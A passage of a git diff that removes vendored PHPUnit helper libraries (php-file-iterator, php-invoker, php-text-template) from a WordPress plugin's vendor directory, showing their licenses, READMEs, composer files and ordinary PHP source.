[#23](https://github.com/sebastianbergmann/php-file-iterator/pull/23): Added support for wildcards (glob) in exclude - -[3.0.6]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.5...3.0.6 -[3.0.5]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.4...3.0.5 -[3.0.4]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.3...3.0.4 -[3.0.3]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.2...3.0.3 -[3.0.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.1...3.0.2 -[3.0.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/3.0.0...3.0.1 -[3.0.0]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.5...3.0.0 -[2.0.5]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.4...2.0.5 -[2.0.4]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.3...2.0.4 -[2.0.3]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.2...2.0.3 -[2.0.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.1...2.0.2 -[2.0.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/2.0.0...2.0.1 -[2.0.0]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.5...2.0.0 -[1.4.5]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.4...1.4.5 -[1.4.4]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.3...1.4.4 -[1.4.3]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.2...1.4.3 -[1.4.2]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.1...1.4.2 -[1.4.1]: https://github.com/sebastianbergmann/php-file-iterator/compare/1.4.0...1.4.1 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/LICENSE deleted file mode 100644 index 51db9163..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -php-file-iterator - -Copyright (c) 2009-2021, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/README.md deleted file mode 100644 index 3cbfdaae..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/README.md +++ /dev/null @@ -1,14 +0,0 @@ -[![Build Status](https://travis-ci.org/sebastianbergmann/php-file-iterator.svg?branch=master)](https://travis-ci.org/sebastianbergmann/php-file-iterator) - -# php-file-iterator - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - - composer require phpunit/php-file-iterator - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - - composer require --dev phpunit/php-file-iterator - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/composer.json deleted file mode 100644 index f1b95b3f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/composer.json +++ /dev/null @@ -1,45 +0,0 @@ -{ - "name": "phpunit/php-file-iterator", - "description": "FilterIterator implementation that filters files based on a list of suffixes.", - "type": "library", - "keywords": [ - "iterator", - "filesystem" - ], - "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "prefer-stable": true, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Facade.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Facade.php deleted file mode 100644 index 87b6588d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Facade.php +++ /dev/null @@ -1,115 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\FileIterator; - -use const DIRECTORY_SEPARATOR; -use function array_unique; -use function count; -use function dirname; -use function explode; -use function is_file; -use function is_string; -use function realpath; -use function sort; - -class Facade -{ - /** - * @param array|string $paths - * @param array|string $suffixes - * @param array|string $prefixes - */ - public function getFilesAsArray($paths, $suffixes = '', $prefixes = '', array $exclude = [], bool $commonPath = false): array - { - if (is_string($paths)) { - $paths = [$paths]; - } - - $iterator = (new Factory)->getFileIterator($paths, $suffixes, $prefixes, $exclude); - - $files = []; - - foreach ($iterator as $file) { - $file = $file->getRealPath(); - - if ($file) { - $files[] = $file; - } - } - - foreach ($paths as $path) { - if (is_file($path)) { - $files[] = realpath($path); - } - } - - $files = array_unique($files); - sort($files); - - if ($commonPath) { - return [ - 'commonPath' => $this->getCommonPath($files), - 'files' => $files, - ]; - } - - return $files; - } - - protected function getCommonPath(array $files): string - { - $count = count($files); - - if ($count === 0) { - return ''; - } - - if ($count === 1) { - return dirname($files[0]) . DIRECTORY_SEPARATOR; - } - - $_files = []; - - foreach ($files as $file) { - $_files[] = $_fileParts = explode(DIRECTORY_SEPARATOR, $file); - - if (empty($_fileParts[0])) { - $_fileParts[0] = DIRECTORY_SEPARATOR; - } - } - - $common = ''; - $done = false; - $j = 0; - $count--; - - while (!$done) { - for ($i = 0; $i < $count; $i++) { - if ($_files[$i][$j] != $_files[$i + 1][$j]) { - $done = true; - - break; - } - } - - if (!$done) { - $common .= $_files[0][$j]; - - if ($j > 0) { - $common .= DIRECTORY_SEPARATOR; - } - } - - $j++; - } - - return DIRECTORY_SEPARATOR . $common; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Factory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Factory.php deleted file mode 100644 index 08f8de99..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Factory.php +++ /dev/null @@ -1,91 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\FileIterator; - -use const GLOB_ONLYDIR; -use function array_filter; -use function array_map; -use function array_merge; -use function glob; -use function is_dir; -use function is_string; -use function realpath; -use AppendIterator; -use RecursiveDirectoryIterator; -use RecursiveIteratorIterator; - -class Factory -{ - /** - * @param array|string $paths - * @param array|string $suffixes - * @param array|string $prefixes - */ - public function getFileIterator($paths, $suffixes = '', $prefixes = '', array $exclude = []): AppendIterator - { - if (is_string($paths)) { - $paths = [$paths]; - } - - $paths = $this->getPathsAfterResolvingWildcards($paths); - $exclude = $this->getPathsAfterResolvingWildcards($exclude); - - if (is_string($prefixes)) { - if ($prefixes !== '') { - $prefixes = [$prefixes]; - } else { - $prefixes = []; - } - } - - if (is_string($suffixes)) { - if ($suffixes !== '') { - $suffixes = [$suffixes]; - } else { - $suffixes = []; - } - } - - $iterator = new AppendIterator; - - foreach ($paths as $path) { - if (is_dir($path)) { - $iterator->append( - new Iterator( - $path, - new RecursiveIteratorIterator( - new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::FOLLOW_SYMLINKS | RecursiveDirectoryIterator::SKIP_DOTS) - ), - $suffixes, - $prefixes, - $exclude - ) - ); - } - } - - return $iterator; - } - - protected function getPathsAfterResolvingWildcards(array $paths): array - { - $_paths = [[]]; - - foreach ($paths as $path) { - if ($locals = glob($path, GLOB_ONLYDIR)) { - $_paths[] = array_map('\realpath', $locals); - } else { - $_paths[] = [realpath($path)]; - } - } - - return array_filter(array_merge(...$_paths)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Iterator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Iterator.php deleted file mode 100644 index 7eb82ad6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-file-iterator/src/Iterator.php +++ /dev/null @@ -1,119 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\FileIterator; - -use function array_filter; -use function array_map; -use function preg_match; -use function realpath; -use function str_replace; -use function strlen; -use function strpos; -use function substr; -use FilterIterator; - -class Iterator extends FilterIterator -{ - public const PREFIX = 0; - - public const SUFFIX = 1; - - /** - * @var string - */ - private $basePath; - - /** - * @var array - */ - private $suffixes = []; - - /** - * @var array - */ - private $prefixes = []; - - /** - * @var array - */ - private $exclude = []; - - public function __construct(string $basePath, \Iterator $iterator, array $suffixes = [], array $prefixes = [], array $exclude = []) - { - $this->basePath = realpath($basePath); - $this->prefixes = $prefixes; - $this->suffixes = $suffixes; - $this->exclude = array_filter(array_map('realpath', $exclude)); - - parent::__construct($iterator); - } - - public function accept(): bool - { - $current = $this->getInnerIterator()->current(); - $filename = $current->getFilename(); - $realPath = $current->getRealPath(); - - if ($realPath === false) { - return false; - } - - return $this->acceptPath($realPath) && - $this->acceptPrefix($filename) && - $this->acceptSuffix($filename); - } - - private function acceptPath(string $path): bool - { - // Filter files in hidden directories by checking path that is relative to the base path. - if (preg_match('=/\.[^/]*/=', str_replace($this->basePath, '', $path))) { - return false; - } - - foreach ($this->exclude as $exclude) { - if (strpos($path, $exclude) === 0) { - return false; - } - } - - return true; - } - - private function acceptPrefix(string $filename): bool - { - return $this->acceptSubString($filename, $this->prefixes, self::PREFIX); - } - - private function acceptSuffix(string $filename): bool - { - return $this->acceptSubString($filename, $this->suffixes, self::SUFFIX); - } - - private function acceptSubString(string $filename, array $subStrings, int $type): bool - { - if (empty($subStrings)) { - return true; - } - - $matched = false; - - foreach ($subStrings as $string) { - if (($type === self::PREFIX && strpos($filename, $string) === 0) || - ($type === self::SUFFIX && - substr($filename, -1 * strlen($string)) === $string)) { - $matched = true; - - break; - } - } - - return $matched; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/ChangeLog.md deleted file mode 100644 index 15cff1f1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/ChangeLog.md +++ /dev/null @@ -1,48 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [3.1.1] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [3.1.0] - 2020-08-06 - -### Changed - -* [#14](https://github.com/sebastianbergmann/php-invoker/pull/14): Clear alarm in `finally` block - -## [3.0.2] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [3.0.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [3.0.0] - 2020-02-07 - -### Added - -* Added `canInvokeWithTimeout()` method to check requirements for the functionality provided by this component to work - -### Changed - -* Moved `"ext-pcntl": "*"` requirement from `require` to `suggest` so that this component can be installed even if `ext/pcntl` is not available -* `invoke()` now raises an exception when the requirements for the functionality provided by this component to work are not met - -### Removed - -* This component is no longer supported on PHP 7.1 and PHP 7.2 - -[3.1.1]: https://github.com/sebastianbergmann/php-invoker/compare/3.1.0...3.1.1 -[3.1.0]: https://github.com/sebastianbergmann/php-invoker/compare/3.0.2...3.1.0 -[3.0.2]: https://github.com/sebastianbergmann/php-invoker/compare/3.0.1...3.0.2 -[3.0.1]: https://github.com/sebastianbergmann/php-invoker/compare/3.0.0...3.0.1 -[3.0.0]: https://github.com/sebastianbergmann/php-invoker/compare/2.0.0...3.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/LICENSE deleted file mode 100644 index 4620776e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -php-invoker - -Copyright (c) 2011-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/README.md deleted file mode 100644 index ace07e5f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/README.md +++ /dev/null @@ -1,18 +0,0 @@ -# phpunit/php-invoker - -[![CI Status](https://github.com/sebastianbergmann/php-invoker/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-invoker/actions) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-invoker/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-invoker) - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require phpunit/php-invoker -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev phpunit/php-invoker -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/composer.json deleted file mode 100644 index 6c007cd8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/composer.json +++ /dev/null @@ -1,54 +0,0 @@ -{ - "name": "phpunit/php-invoker", - "description": "Invoke callables with a timeout", - "type": "library", - "keywords": [ - "process" - ], - "homepage": "https://github.com/sebastianbergmann/php-invoker/", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-invoker/issues" - }, - "prefer-stable": true, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "ext-pcntl": "*", - "phpunit/phpunit": "^9.3" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "autoload-dev": { - "classmap": [ - "tests/_fixture/" - ] - }, - "suggest": { - "ext-pcntl": "*" - }, - "extra": { - "branch-alias": { - "dev-master": "3.1-dev" - } - } -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/Invoker.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/Invoker.php deleted file mode 100644 index 656f4180..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/Invoker.php +++ /dev/null @@ -1,69 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Invoker; - -use const SIGALRM; -use function call_user_func_array; -use function function_exists; -use function pcntl_alarm; -use function pcntl_async_signals; -use function pcntl_signal; -use function sprintf; -use Throwable; - -final class Invoker -{ - /** - * @var int - */ - private $timeout; - - /** - * @throws Throwable - */ - public function invoke(callable $callable, array $arguments, int $timeout) - { - if (!$this->canInvokeWithTimeout()) { - throw new ProcessControlExtensionNotLoadedException( - 'The pcntl (process control) extension for PHP is required' - ); - } - - pcntl_signal( - SIGALRM, - function (): void { - throw new TimeoutException( - sprintf( - 'Execution aborted after %d second%s', - $this->timeout, - $this->timeout === 1 ? '' : 's' - ) - ); - }, - true - ); - - $this->timeout = $timeout; - - pcntl_async_signals(true); - pcntl_alarm($timeout); - - try { - return call_user_func_array($callable, $arguments); - } finally { - pcntl_alarm(0); - } - } - - public function canInvokeWithTimeout(): bool - { - return function_exists('pcntl_signal') && function_exists('pcntl_async_signals') && function_exists('pcntl_alarm'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/Exception.php deleted file mode 100644 index 6ecbf5dd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Invoker; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/ProcessControlExtensionNotLoadedException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/ProcessControlExtensionNotLoadedException.php deleted file mode 100644 index ef42fd19..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/ProcessControlExtensionNotLoadedException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Invoker; - -use RuntimeException; - -final class ProcessControlExtensionNotLoadedException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/TimeoutException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/TimeoutException.php deleted file mode 100644 index 2f7631c0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-invoker/src/exceptions/TimeoutException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Invoker; - -use RuntimeException; - -final class TimeoutException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/.psalm/baseline.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/.psalm/baseline.xml deleted file mode 100644 index 77e688e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/.psalm/baseline.xml +++ /dev/null @@ -1,2 +0,0 @@ - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/.psalm/config.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/.psalm/config.xml deleted file mode 100644 index 2a4b16f2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/.psalm/config.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/ChangeLog.md deleted file mode 100644 index 32a48a7a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/ChangeLog.md +++ /dev/null @@ -1,43 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [2.0.4] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\Template\Exception` now correctly extends `\Throwable` - -## [2.0.3] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [2.0.2] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [2.0.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [2.0.0] - 2020-02-07 - -### Changed - -* The `Text_Template` class was renamed to `SebastianBergmann\Template\Template` - -### Removed - -* Removed support for PHP 5.3, PHP 5.4, PHP 5.5, PHP 5.6, PHP 7.0, PHP 7.1, and PHP 7.2 - -[2.0.4]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.3...2.0.4 -[2.0.3]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.2...2.0.3 -[2.0.2]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.1...2.0.2 -[2.0.1]: https://github.com/sebastianbergmann/php-text-template/compare/2.0.0...2.0.1 -[2.0.0]: https://github.com/sebastianbergmann/php-text-template/compare/1.2.1...2.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/LICENSE deleted file mode 100644 index 6db5566c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -phpunit/php-text-template - -Copyright (c) 2009-2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/README.md deleted file mode 100644 index b2865935..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/README.md +++ /dev/null @@ -1,12 +0,0 @@ -# Text_Template - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - - composer require phpunit/php-text-template - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - - composer require --dev phpunit/php-text-template - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/composer.json deleted file mode 100644 index a51b34b9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/composer.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "name": "phpunit/php-text-template", - "description": "Simple template engine.", - "type": "library", - "keywords": [ - "template" - ], - "homepage": "https://github.com/sebastianbergmann/php-text-template/", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-text-template/issues" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/Template.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/Template.php deleted file mode 100644 index 25e29ea9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/php-text-template/src/Template.php +++ /dev/null @@ -1,107 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Template; - -use function array_merge; -use function file_exists; -use function file_get_contents; -use function file_put_contents; -use function sprintf; -use function str_replace; - -final class Template -{ - /** - * @var string - */ - private $template = ''; - - /** - * @var string - */ - private $openDelimiter; - - /** - * @var string - */ - private $closeDelimiter; - - /** - * @var array - */ - private $values = []; - - /** - * @throws InvalidArgumentException - */ - public function __construct(string $file = '', string $openDelimiter = '{', string $closeDelimiter = '}') - { - $this->setFile($file); - - $this->openDelimiter = $openDelimiter; - $this->closeDelimiter = $closeDelimiter; - } - - /** - * @throws InvalidArgumentException - */ - public function setFile(string $file): void - { - $distFile = $file . '.dist'; - - if (file_exists($file)) { - $this->template = file_get_contents($file); - } elseif (file_exists($distFile)) { - $this->template = file_get_contents($distFile); - } else { - throw new InvalidArgumentException( - sprintf( - 'Failed to load template "%s"', - $file - ) - ); - } - } - - public function setVar(array $values, bool $merge = true): void - { - if (!$merge || empty($this->values)) { - $this->values = $values; - } else { - $this->values = array_merge($this->values, $values); - } - } - - public function render(): string - { - $keys = []; - - foreach ($this->values as $key => $value) { - $keys[] = $this->openDelimiter . $key . $this->closeDelimiter; - } - - return str_replace($keys, $this->values, $this->template); - } - - /** - * @codeCoverageIgnore - */ - public function renderTo(string $target): void - { - if (!file_put_contents($target, $this->render())) { - 